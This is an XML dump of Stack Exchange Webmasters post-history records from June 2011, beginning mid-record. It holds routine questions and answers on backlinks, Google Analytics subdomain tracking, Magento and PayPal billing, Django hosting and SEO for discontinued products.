href=&quot;http://*.mysite.com&quot;.&#xD;&#xA;&#xD;&#xA;As proof that the advanced search option 'link:' does not work at Google (even if their 'advanced search' text says it does) do [this search](http://www.google.com/search?source=ig&amp;hl=en&amp;rlz=&amp;q=site%3Amicrosoft.com+link%3Ajavasucks.com) and you will find the result is one page which has the keyword 'javasucks' in it but has _no links_ to javasucks.com.&#xD;&#xA;&#xD;&#xA;So, how do I do this? &#xD;&#xA;" />
  <row Id="35051" PostHistoryTypeId="2" PostId="14897" RevisionGUID="8f0804a1-bd53-49f0-9221-4fd269ff57f8" CreationDate="2011-06-07T01:55:17.537" UserId="662" Text="i see a lot of websites [like this one][1] and i wanted to see where people get these images from to have the raised panel floating on the background. I see a lot of these sites use this technique and i wonder how they do this . . &#xD;&#xA;&#xD;&#xA;![enter image description here][2]&#xD;&#xA;&#xD;&#xA;Do these sites build this stuff in photoshop from scratch or is there a place to get templates like this to use on a website.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.onechosen.org/default.asp&#xD;&#xA;  [2]: http://i.stack.imgur.com/BjnIU.png" />
  <row Id="35052" PostHistoryTypeId="1" PostId="14897" RevisionGUID="8f0804a1-bd53-49f0-9221-4fd269ff57f8" CreationDate="2011-06-07T01:55:17.537" UserId="662" Text="when can i get photoshop images for my website" />
  <row Id="35053" PostHistoryTypeId="3" PostId="14897" RevisionGUID="8f0804a1-bd53-49f0-9221-4fd269ff57f8" CreationDate="2011-06-07T01:55:17.537" UserId="662" Text="&lt;images&gt;&lt;photoshop&gt;" />
  <row Id="35054" PostHistoryTypeId="2" PostId="14898" RevisionGUID="705bdfee-909e-4d49-bb94-0654b4cbc88b" CreationDate="2011-06-07T02:11:22.823" UserId="1253" Text="I'm not a graphic artist but I work with several of them. For an experienced graphic artist this is fairly easy to do. It looks like they just made everything but the heading (&quot;Our mission&quot;) and copy a background image and placed the text over it in a `&lt;DIV&gt;`. It probably would be a handful of layers:&#xD;&#xA;&#xD;&#xA; - one for the &quot;paper&quot;&#xD;&#xA; - one for the heading-background&#xD;&#xA; - one for the heading text&#xD;&#xA; - one for the photo&#xD;&#xA; - one for the signature&#xD;&#xA;&#xD;&#xA;I don't know of there being a template out there for this but this is simple enough that there could be one. Maybe someone will know about it and link to it here." />
  <row Id="35055" PostHistoryTypeId="2" PostId="14899" RevisionGUID="5be4d898-6d06-40b2-bc8e-f9da9d0337c6" CreationDate="2011-06-07T02:18:15.117" UserId="4502" Text="Google &lt;a href=&quot;http://googlewebmastercentral.blogspot.com/2007/02/discover-your-links.html&quot;&gt;Webmaster Tools'&lt;/a&gt; &quot;links to your site&quot; report will give you &quot;a much larger sampling&quot; of inbound links. I would still not expect it to be everything; they don't make anything that easy(to reverse engineer)." />
  <row Id="35056" PostHistoryTypeId="2" PostId="14900" RevisionGUID="d959621f-21cc-42d2-919a-e8b984320294" CreationDate="2011-06-07T02:41:53.510" UserId="5322" Text="Yes, this is easy to do in Photoshop. Plenty of [tutorials][1] around.&#xD;&#xA;&#xD;&#xA;Most people build simple things like this from scratch. Free stock photos such as the paper texture background can be found at: http://www.sxc.hu/ or http://www.stockvault.net&#xD;&#xA;&#xD;&#xA;There are some free website templates like at http://www.freewebsitetemplates.com/ if that's what you are looking for.&#xD;&#xA;&#xD;&#xA;  [1]: http://developer.practicalecommerce.com/articles/2291-Three-Quick-Drop-Shadow-Techniques-in-Adobe-Photoshop" />
  <row Id="35057" PostHistoryTypeId="2" PostId="14901" RevisionGUID="9e11385c-19b3-4c31-a2a5-a0eb84a2047d" CreationDate="2011-06-07T03:01:48.250" UserId="7369" Text="Gandi's support responded:&#xD;&#xA;&#xD;&#xA;&gt; This information is not valid any more, you can modify your contacts and&#xD;&#xA;DNS just after the registration of a .PRO domain. The contract will be corrected very soon." />
  <row Id="35058" PostHistoryTypeId="25" PostId="14897" RevisionGUID="3c380a53-dd32-48a1-9258-7fd6233d03d2" CreationDate="2011-06-07T03:13:52.540" Comment="http://twitter.com/#!/StackWebmasters/status/77936281929261056" />
  <row Id="35061" PostHistoryTypeId="2" PostId="14902" RevisionGUID="fb6c9a84-237f-4031-a02d-ec304ffae061" CreationDate="2011-06-07T04:33:00.440" UserId="8077" Text="My Google-fu has failed me on this one. Every time I search for something like this all I get is a bunch of vulnerability reports. I feel like this should be pretty straightforward, but I'm not having any luck.&#xD;&#xA;&#xD;&#xA;I have an internal web/fileserver whose functionality I'd like to integrate. Currently, there is a large data partition with a bunch of files (git repo) only accessible via SSH, and a separate web server (Apache2 on Debian). &#xD;&#xA;&#xD;&#xA;Is there a minimal (no database or frills) CGI script or something that will dynamically load a directory listing and make links to the files, and maybe some basic search, too? A tie-in to find/locate via bash would be about the right amount of functionality.&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="35062" PostHistoryTypeId="1" PostId="14902" RevisionGUID="fb6c9a84-237f-4031-a02d-ec304ffae061" CreationDate="2011-06-07T04:33:00.440" UserId="8077" Text="Is there a minimal, pre-built solution for hosting a large collection of files?" />
  <row Id="35063" PostHistoryTypeId="3" PostId="14902" RevisionGUID="fb6c9a84-237f-4031-a02d-ec304ffae061" CreationDate="2011-06-07T04:33:00.440" UserId="8077" Text="&lt;apache&gt;&lt;server&gt;&lt;looking-for-a-script&gt;&lt;linux&gt;" />
  <row Id="35064" PostHistoryTypeId="17" PostId="14903" RevisionGUID="e2756a0b-fd2c-4054-8106-df8f4da09cba" CreationDate="2011-06-07T04:33:50.613" UserId="-1" Comment="from http://stackoverflow.com/questions/6249580/magento-when-paying-with-paypal-shipping-cost-is-charged-twice" Text="" />
  <row Id="35065" PostHistoryTypeId="17" PostId="14904" RevisionGUID="3e473b79-10d8-453a-afda-aab2238bb54e" CreationDate="2011-06-07T04:33:50.613" UserId="-1" Comment="from http://stackoverflow.com/questions/6249580/magento-when-paying-with-paypal-shipping-cost-is-charged-twice" Text="" />
  <row Id="35066" PostHistoryTypeId="2" PostId="14904" RevisionGUID="237a0826-431f-4c1e-be1b-559db7d4ef5a" CreationDate="2011-06-06T10:40:53.250" UserDisplayName="Robert" Text="Are you using Website Payments Standard?  &#xD;&#xA;If you are, double check whether you have shipping set up in the Shipping / Postage Calculator.  &#xD;&#xA;www.paypal.com &gt; Profile &gt; Postage (or Shipping) Calculator.  &#xD;&#xA;  &#xD;&#xA;Note: this doesn't apply if you use Express Checkout and/or Website Payments Pro" />
  <row Id="35067" PostHistoryTypeId="2" PostId="14903" RevisionGUID="c3db9170-c4a4-4716-969b-5c3721fd4916" CreationDate="2011-06-06T08:47:49.787" UserDisplayName="user762464" Text="I'm using Magento 1.4.2.&#xD;&#xA;&#xD;&#xA;When I'm paying for an order with Paypal, the total is calculated allright but then Paypal charges twice for the shippment.&#xD;&#xA;&#xD;&#xA;Im not using any custom modules.&#xD;&#xA;&#xD;&#xA;Any idea why this might be or where I sohuld look? &#xD;&#xA;&#xD;&#xA;Thanks in advance." />
  <row Id="35068" PostHistoryTypeId="1" PostId="14903" RevisionGUID="c3db9170-c4a4-4716-969b-5c3721fd4916" CreationDate="2011-06-06T08:47:49.787" UserDisplayName="user762464" Text="Magento: When paying with Paypal, shipping cost is charged twice." />
  <row Id="35069" PostHistoryTypeId="3" PostId="14903" RevisionGUID="c3db9170-c4a4-4716-969b-5c3721fd4916" CreationDate="2011-06-06T08:47:49.787" UserDisplayName="user762464" Text="&lt;magento&gt;&lt;paypal&gt;" />
  <row Id="35070" PostHistoryTypeId="2" PostId="14905" RevisionGUID="8f0ce3ea-86a1-4b7f-a122-fb5ee89b80a7" CreationDate="2011-06-07T05:06:21.817" UserId="6277" Text="How do I remove accounts from my analytics dashboard where other admins have deleted me from the profile? The account appears on the list with no data and now discernible way to remove it." />
  <row Id="35071" PostHistoryTypeId="1" PostId="14905" RevisionGUID="8f0ce3ea-86a1-4b7f-a122-fb5ee89b80a7" CreationDate="2011-06-07T05:06:21.817" UserId="6277" Text="How do I remove accounts from my analytics dashboard?" />
  <row Id="35072" PostHistoryTypeId="3" PostId="14905" RevisionGUID="8f0ce3ea-86a1-4b7f-a122-fb5ee89b80a7" CreationDate="2011-06-07T05:06:21.817" UserId="6277" Text="&lt;google-analytics&gt;" />
  <row Id="35073" PostHistoryTypeId="2" PostId="14906" RevisionGUID="fba56fc7-3e11-4256-af51-463dc0fdc9ba" CreationDate="2011-06-07T05:32:37.657" UserId="1009" Text="**Just wait...**&#xD;&#xA;&#xD;&#xA;This happened to me. Eventually, the account was just removed from my dashboard. I did add another account around the same time, but I don't think it was related.&#xD;&#xA;&#xD;&#xA;&lt;hr&gt;&#xD;&#xA;&#xD;&#xA;Otherwise, you can ask the current admin to temporarily add you as a user (admin?) so you can remove yourself." />
  <row Id="35074" PostHistoryTypeId="5" PostId="14906" RevisionGUID="07f40c3e-1227-4d95-9d73-3898550daedc" CreationDate="2011-06-07T05:37:46.017" UserId="1009" Comment="added 33 characters in body" Text="**Just wait...**&#xD;&#xA;&#xD;&#xA;This happened to me. Eventually, the account was just removed from my dashboard. I did add another account around the same time, but I don't think it was related.&#xD;&#xA;&#xD;&#xA;&lt;hr&gt;&#xD;&#xA;&#xD;&#xA;Otherwise, you can ask the current admin to temporarily add you as a user (admin?) so you can remove the analytics account from your dashboard." />
  <row Id="35075" PostHistoryTypeId="25" PostId="14905" RevisionGUID="cff4b3ac-b53c-4f7c-9d3d-f80208c615f3" CreationDate="2011-06-07T06:13:51.743" Comment="http://twitter.com/#!/StackWebmasters/status/77981576687919104" />
  <row Id="35076" PostHistoryTypeId="17" PostId="14907" RevisionGUID="678d75aa-e376-43f4-8ce5-0e3df579cdb4" CreationDate="2011-06-07T06:34:46.313" UserId="-1" Comment="from http://stackoverflow.com/questions/6254451/best-way-to-use-static-html-ajax-with-django" Text="" />
  <row Id="35077" PostHistoryTypeId="2" PostId="14907" RevisionGUID="cf2359e1-d6d2-4817-94c3-78f8ce621530" CreationDate="2011-06-06T15:36:57.967" UserDisplayName="Kerry Hatcher" Text="I'm working on a web app and decided that for the max amount of speed I'm going to make it a single page. Then load all the content via AJAX pulling the data from a Django app. My options as I see them are:&#xD;&#xA;&#xD;&#xA;Host the index.html(and JS, IMG, CSS) on Cloud files/S3/etc and the Django app on a server on api.example.com&#xD;&#xA;&#xD;&#xA;Host the index.html(and such) on a dedicated server and put the app under as sub folder ie example.com/app&#xD;&#xA;&#xD;&#xA;Host the index.html(and such) on a dedicated server and somehow host Django on the root. Letting Apache decide which one to send the user to. (similar to [this question][1])&#xD;&#xA;&#xD;&#xA;If you have another way that could be better please let me know. &#xD;&#xA;&#xD;&#xA;Thanks,  &#xD;&#xA;Kerry&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/1192165/using-a-static-index-page-with-django-and-nginx" />
  <row Id="35078" PostHistoryTypeId="1" PostId="14907" RevisionGUID="cf2359e1-d6d2-4817-94c3-78f8ce621530" CreationDate="2011-06-06T15:36:57.967" UserDisplayName="Kerry Hatcher" Text="Best way to use static HTML + AJAX with Django" />
  <row Id="35079" PostHistoryTypeId="3" PostId="14907" RevisionGUID="cf2359e1-d6d2-4817-94c3-78f8ce621530" CreationDate="2011-06-06T15:36:57.967" UserDisplayName="Kerry Hatcher" Text="&lt;jquery&gt;&lt;html&gt;&lt;ajax&gt;&lt;django&gt;&lt;web-hosting&gt;" />
  <row Id="35080" PostHistoryTypeId="2" PostId="14908" RevisionGUID="b5ba1132-8434-43f6-951a-f7013f33c0c6" CreationDate="2011-06-07T08:14:08.643" UserId="7198" Text="I currently host a Python app on Google's [App Engine](http://code.google.com/appengine/articles/django.html) and expose an API to a static JavaScript-heavy web app that runs on a cheap shared hosting account elsewhere. It works great and it's cheap to run.&#xD;&#xA;&#xD;&#xA;It looks like you can [run Django on Google's App Engine](http://code.google.com/appengine/articles/django.html) too.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="35081" PostHistoryTypeId="2" PostId="14909" RevisionGUID="47e252ab-75b1-46d8-af29-8d016e7ca064" CreationDate="2011-06-07T08:17:03.687" UserId="8078" Text="No one.&#xD;&#xA;&#xD;&#xA;Sorry but CMS are not meant to manage a ecommerce. They are existing to create content and manage it.&#xD;&#xA;&#xD;&#xA;The good question should be: *What are django add-ons to create a ecommerce website ?*" />
  <row Id="35082" PostHistoryTypeId="5" PostId="14897" RevisionGUID="85f38a4a-f714-4761-83bd-b45aee781f20" CreationDate="2011-06-07T08:29:43.230" UserId="1643" Comment="Make title more specific as question is" Text="I see a lot of websites [like this one][1] and I wanted to see where people get these images from to have the raised panel floating on the background. I see a lot of these sites use this technique and i wonder how they do this . . &#xD;&#xA;&#xD;&#xA;![enter image description here][2]&#xD;&#xA;&#xD;&#xA;Do these sites build this stuff in photoshop from scratch or is there a place to get templates like this to use on a website?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.onechosen.org/default.asp&#xD;&#xA;  [2]: http://i.stack.imgur.com/BjnIU.png" />
  <row Id="35083" PostHistoryTypeId="4" PostId="14897" RevisionGUID="85f38a4a-f714-4761-83bd-b45aee781f20" CreationDate="2011-06-07T08:29:43.230" UserId="1643" Comment="Make title more specific as question is" Text="Where can I get photoshop images like this for my website" />
  <row Id="35084" PostHistoryTypeId="2" PostId="14910" RevisionGUID="3d9ab29d-5d44-4a48-aaa2-7a8866102c02" CreationDate="2011-06-07T08:35:12.127" UserId="7198" Text="This looks like a [known bug in Google Analytics.](http://www.google.com/support/forum/p/Google+Analytics/thread?tid=6544da48052b0bb1&amp;hl=en&amp;start=80) In short, if a user gives you guest access to a website in their Analytics account, then removes that site from their account to stop tracking it without first removing you as an admin user, you're stuck with a ghost reference to their site.&#xD;&#xA;&#xD;&#xA;You could try contacting Google from the [AdWords email support page.](http://adwords.google.com/support/aw/bin/request.py?display=categories) Choose &quot;Google Analytics, Conversion Tracking, AdWords Editor&quot;, then &quot;Google Analytics&quot;, then &quot;I'm experiencing a technical issue when using my account&quot; and finally &quot;Email AdWords Support&quot;.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="35085" PostHistoryTypeId="2" PostId="14911" RevisionGUID="e2767b2f-8c0d-4145-9d04-e44904fb135f" CreationDate="2011-06-07T08:41:14.683" UserId="8080" Text="i use just simple user agent parsing / exclusion.&#xD;&#xA;it gets rid of like 99% of bots going into my pages.&#xD;&#xA;&#xD;&#xA;SELECT * FROM `live_visitors` where (&#xD;&#xA;lower(agent) != '%bot%' and&#xD;&#xA;lower(agent) != '%slurp%' and&#xD;&#xA;lower(agent) != '%spider%' and&#xD;&#xA;lower(agent) != '%crawl%' and&#xD;&#xA;lower(agent) != '%archiver%' and&#xD;&#xA;lower(agent) != '%facebook%')" />
  <row Id="35086" PostHistoryTypeId="25" PostId="14896" RevisionGUID="fb6b6d0d-f439-48b2-b805-9ac9179ed91c" CreationDate="2011-06-07T09:13:51.573" Comment="http://twitter.com/#!/StackWebmasters/status/78026875405996032" />
  <row Id="35087" PostHistoryTypeId="2" PostId="14912" RevisionGUID="28f7feea-5e68-4520-bae3-54ff09b43ea9" CreationDate="2011-06-07T10:41:42.127" UserId="3610" Text="I'm interested what the consensus is on the likes of ezinearticles as a form of backlink building. There are a couple of similar questions here but given google's recent panda update apparently targeting article directory sites I'm not sure where this stands. I realise there are better backlinks, from established sites etc, however this is one approach that is consistently recommended around the internet.&#xD;&#xA;&#xD;&#xA;My current situation is I'm at position 16 of google.com for a keyword with 2.6 million searches a month. I had intended this month to publish an article or two each day on ezinearticles then duplicate on a couple more but before I set upon this tedious task, would I be wasting my time?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="35088" PostHistoryTypeId="1" PostId="14912" RevisionGUID="28f7feea-5e68-4520-bae3-54ff09b43ea9" CreationDate="2011-06-07T10:41:42.127" UserId="3610" Text="Article marketing for back links" />
  <row Id="35089" PostHistoryTypeId="3" PostId="14912" RevisionGUID="28f7feea-5e68-4520-bae3-54ff09b43ea9" CreationDate="2011-06-07T10:41:42.127" UserId="3610" Text="&lt;seo&gt;&lt;backlinks&gt;&lt;articles&gt;" />
  <row Id="35092" PostHistoryTypeId="2" PostId="14914" RevisionGUID="38f72b10-ca1b-4b9d-96fc-000c6ec4ae0d" CreationDate="2011-06-07T12:05:59.533" UserId="7198" Text="From Search Engine Land's [&quot;A Look At Article Directories and Their Influence in Organic Rankings&quot;](http://searchengineland.com/article-directories-16101):&#xD;&#xA;&#xD;&#xA;&gt; &quot;...is submitting content to article directories still worth doing? ... Unless you are targeting extremely uncompetitive phrases, with disposable URLs, mass submission and blaster software, [it's] not worth the time and expense.&quot;&#xD;&#xA;&#xD;&#xA;And that was in 2009 before Google's Panda/Farmer update, which is thought to place less weight on backlinks from suspected content farms and other low quality sources.&#xD;&#xA;&#xD;&#xA;So it's not necessarily a *complete* waste of time; it may improve your ranking, but so might submitting the same articles as guest posts to respected blogs in your industry or relevant sister-industries. (I use [Alltop](http://alltop.com) to find industry-specific blogs.) At least that way, you'd be adding value and attracting an established audience with a genuine interest in your field (who may also blog about you), instead of attempting to game an algorithm and help content farms thrive." />
  <row Id="35093" PostHistoryTypeId="5" PostId="14912" RevisionGUID="a113430e-eb2a-41e4-bbce-60f03de8010d" CreationDate="2011-06-07T12:06:47.927" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [What role do article submission directories play in SEO?](http://webmasters.stackexchange.com/questions/4780/what-role-do-article-submission-directories-play-in-seo)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I'm interested what the consensus is on the likes of ezinearticles as a form of backlink building. There are a couple of similar questions here but given google's recent panda update apparently targeting article directory sites I'm not sure where this stands. I realise there are better backlinks, from established sites etc, however this is one approach that is consistently recommended around the internet.&#xD;&#xA;&#xD;&#xA;My current situation is I'm at position 16 of google.com for a keyword with 2.6 million searches a month. I had intended this month to publish an article or two each day on ezinearticles then duplicate on a couple more but before I set upon this tedious task, would I be wasting my time?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="35094" PostHistoryTypeId="10" PostId="14912" RevisionGUID="e2301ec7-88c9-4761-b994-f2c56391f08f" CreationDate="2011-06-07T12:06:47.367" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="35095" PostHistoryTypeId="5" PostId="4783" RevisionGUID="0ce03495-4183-4e0c-b36d-7850f18bb1ae" CreationDate="2011-06-07T12:08:16.383" UserId="1253" Comment="added 642 characters in body" Text="It looks like (I don't kow for sure as I don't use services like this) that ezinearticles, maybe others, allow you to place links in your articles. They are not nofollow. So you can get links this way. Unfortunately they are low quality so I wouldn't expect them to make any kind of difference in your rankings in-and-of themselves. However, if others republish the content, assuming they do not edit the content, those links will also them be automatically added to their website as well. The links from the republished article *should* carry some weight unless it is discounted as part of the way duplicate content is filtered.&#xD;&#xA;&#xD;&#xA;**Update**&#xD;&#xA;&#xD;&#xA;At this point of time I would say that is is a bad idea. Not only did the Panda update hit article sites hard, but they never were very valuable in the first place. The people who recommend doing this think that just because the link is on another website that it is valuable. That's simply not true. Links from these articles are virtually worthless because no one is linking to them. Those article have no SEO value themselves and thus links from them are equally as worthless.&#xD;&#xA;&#xD;&#xA;If you're going to spend time writing articles write them well and put them on your website. You'll get more links and better quality links then that link on the article site could ever hope to do." />
  <row Id="35096" PostHistoryTypeId="25" PostId="14902" RevisionGUID="654861c9-1805-4b8b-8f6e-ec16aadcba2e" CreationDate="2011-06-07T12:13:51.883" Comment="http://twitter.com/#!/StackWebmasters/status/78072175092965376" />
  <row Id="35097" PostHistoryTypeId="2" PostId="14915" RevisionGUID="6c2590e1-1b6a-41d0-ac6b-67333f1f3935" CreationDate="2011-06-07T12:35:28.403" UserId="8084" Text="Well, I have a strange question. It is about my wordpress based site. It is in **English** and it ranked very well till I put a link to another site and the anchor text was in **Cyrillic**. 2 weeks later I dropped more than 10 pages in keyword ranking. My question is: Is it possible that this link in Cyrillic brakes something? Thanks." />
  <row Id="35098" PostHistoryTypeId="1" PostId="14915" RevisionGUID="6c2590e1-1b6a-41d0-ac6b-67333f1f3935" CreationDate="2011-06-07T12:35:28.403" UserId="8084" Text="Does multilingual content on a single page hurt SEO?" />
  <row Id="35099" PostHistoryTypeId="3" PostId="14915" RevisionGUID="6c2590e1-1b6a-41d0-ac6b-67333f1f3935" CreationDate="2011-06-07T12:35:28.403" UserId="8084" Text="&lt;seo&gt;&lt;google-ranking&gt;" />
  <row Id="35100" PostHistoryTypeId="2" PostId="14916" RevisionGUID="54fe799e-0363-494d-b6df-ac72b4425840" CreationDate="2011-06-07T13:21:57.877" UserId="1253" Text="If all you did was link to the other page then the odds are this isn't what caused your rankings to drop. One external link isn't going to cause big changes like that unless the other site is a link farm or something else that is considered against Google's Terms of Service.&#xD;&#xA;&#xD;&#xA;The odds are that a minor algorithm changes was implemented in that time or Google's index was updating and caused a temporary drop in rankings.&#xD;&#xA;&#xD;&#xA;Either way don't do anything drastic as a result of this. You can always remove the link to the other page and see if things improve. If not then you know you need to improve the content on that page and/or seek more links to it. Internal linking is good, too, so try linking to that page from within your site more often." />
  <row Id="35101" PostHistoryTypeId="5" PostId="14916" RevisionGUID="d6f1024d-2798-42a4-ad36-f2cf0565646f" CreationDate="2011-06-07T13:27:51.633" UserId="1253" Comment="deleted 1 characters in body" Text="If all you did was link to the other page then the odds are this isn't what caused your rankings to drop. One external link isn't going to cause big changes like that unless the other site is a link farm or something else that is considered against Google's Terms of Service.&#xD;&#xA;&#xD;&#xA;The odds are that a minor algorithm change was implemented in that time or Google's index was updating and caused a temporary drop in rankings.&#xD;&#xA;&#xD;&#xA;Either way don't do anything drastic as a result of this. You can always remove the link to the other page and see if things improve. If not then you know you need to improve the content on that page and/or seek more links to it. Internal linking is good, too, so try linking to that page from within your site more often." />
  <row Id="35102" PostHistoryTypeId="2" PostId="14917" RevisionGUID="fcac1f83-98a3-491e-baee-79f4677fa8c9" CreationDate="2011-06-07T13:30:52.963" UserId="8085" Text="Let's say on www.site.com, some products are discontinued from time to time.&#xD;&#xA;&#xD;&#xA;Each product page has nicely laid out information for users like, product features, manuals, buyers guide etc., So, in essence it's HTML, images and PDF documents.&#xD;&#xA;&#xD;&#xA;I see two ways of discontinuing the product,&#xD;&#xA;&#xD;&#xA;[1] Remove a product page from the website and return a 404 error.&#xD;&#xA;&#xD;&#xA;Pro: Obsolete product pages die slowly on search engines&#xD;&#xA;&#xD;&#xA;Con: The site returns a 404 error so, users navigate to another site as they couldn't find a specific product on www.site.com&#xD;&#xA;&#xD;&#xA;[2] Keep the product page as it is with a message like &quot;this product is discontinued ... &quot;&#xD;&#xA;&#xD;&#xA;Pro: Useful product related information remains intact, which can be helpful for users. So, if the information is unique and is not easily available on other sites then, the product page could be helpful for users.&#xD;&#xA;&#xD;&#xA;Con: If like, 50 products exist on the site and have the message &quot;product is discontinued&quot; then, it's not a pleasant experience for users.&#xD;&#xA;&#xD;&#xA;Any pointers to resolve this issue? " />
  <row Id="35103" PostHistoryTypeId="1" PostId="14917" RevisionGUID="fcac1f83-98a3-491e-baee-79f4677fa8c9" CreationDate="2011-06-07T13:30:52.963" UserId="8085" Text="How to deal with obselete product pages on an e-commerce site?" />
  <row Id="35104" PostHistoryTypeId="3" PostId="14917" RevisionGUID="fcac1f83-98a3-491e-baee-79f4677fa8c9" CreationDate="2011-06-07T13:30:52.963" UserId="8085" Text="&lt;seo&gt;&lt;ecommerce&gt;&lt;user-engagement&gt;" />
  <row Id="35105" PostHistoryTypeId="2" PostId="14918" RevisionGUID="18979ba5-295a-49be-a558-6824aaf9ae8e" CreationDate="2011-06-07T13:33:04.220" UserId="8086" Text="I'm looking for the best solution to track my website's traffic using Google Analytics. I have a website that (currently) has two subdomains. The subdomains are about very different content, the TLD shows some basic information about me and also shows excerpts from the two underlying subdomains. I'd like to be able to see information for the whole site, but also be able to specify per subdomain.&#xD;&#xA;&#xD;&#xA;Obviously I'd like to use the more recent Asynchronous Google Analytics script.&#xD;&#xA;&#xD;&#xA;I couldn't find any decent and more importantly, recent solutions or implementations for this. Any tips or pointers would be appreciated.&#xD;&#xA;" />
  <row Id="35106" PostHistoryTypeId="1" PostId="14918" RevisionGUID="18979ba5-295a-49be-a558-6824aaf9ae8e" CreationDate="2011-06-07T13:33:04.220" UserId="8086" Text="Google Analytics Subdomain Tracking for WordPress" />
  <row Id="35107" PostHistoryTypeId="3" PostId="14918" RevisionGUID="18979ba5-295a-49be-a558-6824aaf9ae8e" CreationDate="2011-06-07T13:33:04.220" UserId="8086" Text="&lt;google-analytics&gt;&lt;wordpress&gt;&lt;javascript&gt;&lt;subdomain&gt;&lt;tracking&gt;" />
  <row Id="35108" PostHistoryTypeId="2" PostId="14919" RevisionGUID="92a39921-5a3c-4fe5-ac92-9c0d5c512175" CreationDate="2011-06-07T13:35:38.743" UserId="1253" Text="Why not throw a 410 Gone HTTP status header so the search engines know those pages no longer exist. On the page that you display let the user know the product has been discontinued and offer links to existing products that may suit their needs. Also offer obvious links to your home page, site map, and contact page. This will allow them to then navigate to other pages within your site that encourage browsing and/or purchasing." />
  <row Id="35109" PostHistoryTypeId="5" PostId="14918" RevisionGUID="045e791f-a423-4059-b352-490409848e28" CreationDate="2011-06-07T13:36:49.600" UserId="1253" Comment="modified tags" Text="I'm looking for the best solution to track my website's traffic using Google Analytics. I have a website that (currently) has two subdomains. The subdomains are about very different content, the TLD shows some basic information about me and also shows excerpts from the two underlying subdomains. I'd like to be able to see information for the whole site, but also be able to specify per subdomain.&#xD;&#xA;&#xD;&#xA;Obviously I'd like to use the more recent Asynchronous Google Analytics script.&#xD;&#xA;&#xD;&#xA;I couldn't find any decent and more importantly, recent solutions or implementations for this. Any tips or pointers would be appreciated. &#xD;&#xA;" />
  <row Id="35110" PostHistoryTypeId="6" PostId="14918" RevisionGUID="045e791f-a423-4059-b352-490409848e28" CreationDate="2011-06-07T13:36:49.600" UserId="1253" Comment="modified tags" Text="&lt;google-analytics&gt;&lt;wordpress&gt;&lt;subdomain&gt;&lt;tracking&gt;" />
  <row Id="35111" PostHistoryTypeId="2" PostId="14920" RevisionGUID="77f8b0e3-e149-41e5-b06c-78f4421df49a" CreationDate="2011-06-07T13:40:23.060" UserId="1643" Text="I think this article describes what you want http://www.google.com/support/analytics/bin/answer.py?answer=55524. It does say it's for the old version of the script, but the same principles - using cross domain tracking, and filter to get the subdomain stats - should apply." />
  <row Id="35112" PostHistoryTypeId="2" PostId="14921" RevisionGUID="82b35ac5-7666-4a3a-a22d-3d5e56480b30" CreationDate="2011-06-07T13:43:38.943" UserId="7198" Text="E-junkie offers a ['name your price' feature](http://www.e-junkie.com/ej/help.payment.optional.htm) that lets buyers choose their price. You can set the minimum and suggested amounts, leaving the minimum price blank if you want buyers to be able to download products for free." />
  <row Id="35113" PostHistoryTypeId="5" PostId="14917" RevisionGUID="c4eefc4f-ef8a-4b6d-bb21-045046da60d4" CreationDate="2011-06-07T13:45:53.740" UserId="8085" Comment="added 227 characters in body; added 36 characters in body" Text="Let's say on www.site.com, some products are discontinued from time to time.&#xD;&#xA;&#xD;&#xA;Each product page has nicely laid out information for users like, product features, manuals, buyers guide etc., So, in essence it's HTML, images and PDF documents.&#xD;&#xA;&#xD;&#xA;I see two ways of discontinuing the product,&#xD;&#xA;&#xD;&#xA;[1] **Remove a product page from the website and return a 404 error**.&#xD;&#xA;&#xD;&#xA;***Pro***: Obsolete product pages die slowly on search engines&#xD;&#xA;&#xD;&#xA;***Con***: The site returns a 404 error so, users navigate to another site as they couldn't find a specific product on www.site.com&#xD;&#xA;&#xD;&#xA;[2] **Keep the product page as it is with a message like &quot;this product is discontinued ... &quot;**&#xD;&#xA;&#xD;&#xA;***Pro***: Useful product related information remains intact, which can be helpful for users. So, if the information is unique and is not easily available on other sites then, the product page could be helpful for users.&#xD;&#xA;&#xD;&#xA;***Con***: If like, 50 products exist on the site and have the message &quot;product is discontinued&quot; then, it's not a pleasant experience for users.&#xD;&#xA;&#xD;&#xA;**Note**: Obsolete products pages might not be deleted permanently. A good example to illustrate this is, 'seasonal products'.&#xD;&#xA;&#xD;&#xA;If a product page has a good PageRank but, is not sold throughout the year, how to deal with it? &#xD;&#xA;&#xD;&#xA;Any pointers to resolve this issue? " />
  <row Id="35114" PostHistoryTypeId="2" PostId="14922" RevisionGUID="3fd5926d-93cb-4dc6-abf0-d9789ebce9ef" CreationDate="2011-06-07T13:48:12.827" UserId="6033" Text="I use this to track subdomains. Put this code at the end of your template before the `&lt;/body&gt;` tag.&#xD;&#xA;&#xD;&#xA;    //Tracking code customizations only&#xD;&#xA;      var _gaq = _gaq || [];&#xD;&#xA;      _gaq.push(['_setAccount', 'your analytics acct #']);&#xD;&#xA;      _gaq.push(['_setDomainName', '.your_domain_here.com']);&#xD;&#xA;      _gaq.push(['_setAllowHash', false]);&#xD;&#xA;      _gaq.push(['_trackPageview']); &#xD;&#xA;&#xD;&#xA;    (function() {&#xD;&#xA;        var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;&#xD;&#xA;        ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';&#xD;&#xA;        var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);&#xD;&#xA;      })();&#xD;&#xA;&#xD;&#xA;The you'll need to setup multiple filters in the analytics interface to see the data combined and separate." />
